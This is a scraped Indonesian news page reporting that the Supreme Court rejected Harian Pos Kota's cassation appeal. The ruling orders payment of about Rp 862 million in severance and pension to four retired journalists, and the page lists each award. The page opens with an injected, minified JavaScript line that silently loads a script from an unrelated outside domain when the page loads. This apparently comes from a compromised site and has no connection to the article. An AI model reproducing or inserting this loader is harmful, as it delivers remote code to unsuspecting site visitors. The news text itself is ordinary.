(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kasasi Ditolak, Hakim Suruh Putra Harmoko Bayar Pensiunan Wartawan Pos Kota


KANALKALIMANTAN.COM – Mahkamah Agung (MA) menolak kasasi Harian Pos Kota atas atas gugatan empat pensiunan wartawannya, dengan putusan itu media tersebut wajib membayar uang pesangon dan pensiun para penggugat senilai Rp 862 juta.

Boyamin Saiman selaku tim kuasa hukum keempat wartawan itu mendesak PT Media Antarkota selaku perusahaan pemegang Harian Pos Kota untuk segera melaksanakan putusan MA tersebut.

“Dengan ditolaknya kasasi Dirut Media Antarkota Jaya, perusahaan media Harian Pos Kota dan www.poskota.co.id, maka Dirut PT Media Antarkota, Azisoko, putra H.Harmoko, Mantan Menpen Era Presiden Soeharto untuk segera melaksanakan putusan MA ini,” kata Boyamin lewat keterangannya kepada Suara.com, Rabu (17/3/2021).

Adapun nama mantan wartawan dan hak pesangon yang dikabulkan majelis hakim MA itu berdasar putusan Nomor.16/Pdt-Sus-PHI/2020/PN.JKT.PST, sebagai berikut:

 

Baca Juga:
Sebulan Pasar Bauntung Beroperasi, Saluran Air Kecil, Lantai Mulai Basah

1. Abdul Haris Irawan (Penggugat I), jumlah total sebesar Rp 180.426.147,- (seratus delapan puluh juta empat ratus dua puluh enam ribu seratus empat puluh tujuh)
Sugeng Indarto (Penggugat II), jumlah total sebesar : Rp 249.215.000,- (dua ratus empat puluh sembilan juta dua ratus lima belas ribu rupiah)

2. Syamsir Bastian (Penggugat III), jumlah total sebesar: Rp 235.927.547,- (dua ratus tiga puluh lima juta sembilan ratus dua puluh tujuh ribu lima ratus empat puluh tujuh).

3. Warto Nur Alam (Penggugat IV), jumlah total sebesar Rp197.072.584,- (seratus sembilan puluh tujuh tujuh puluh dua ribu lima ratus delapan puluh empat rupiah).

“Kami menyadari saat ini industri koran sedang menurun, namun hal ini tidak menggugurkan hak pensiun dan pesangon dari mantan wartawannya karena apapun keempatnya ikut membesarkan Harian Pos Kota dan www.poskota.co.id dengan pengabdian menjadi wartawan Pos Kota di atas 25 tahun,” jelas Boyamin.

Untuk diketahui, putusan itu tertuang dalam putusan MA Nomor: 1420 K/Pdt-Sus-PHI/2020 tertanggal 18 November 2020. Putusan tersebut dikirim ke pengadilan pengaju yakni Pengadilan Negeri Jakarta Pusat, tertanggal 30 Desember 2020 lalu.

Hal itu diputuskan dalam rapat musyawarah majelis hakim pada hari Rabu 18 November 2020 oleh Maria Anna Samiyati, Hakim Agung yang ditetapkan oleh Ketua Mahkamah Agung sebagai ketua majelis, Sugeng Santoso, H. Fauzan, hakim-hakim Ad Hoc PHI, sebagai hakim anggota. Hadir hakim anggota Unggul Prayudho Satriyo, panitera pengganti. (suara.com)


Al Ghifari

Recent Posts

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

3 menit ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

2 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

3 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

6 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

13 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

15 jam ago

This website uses cookies.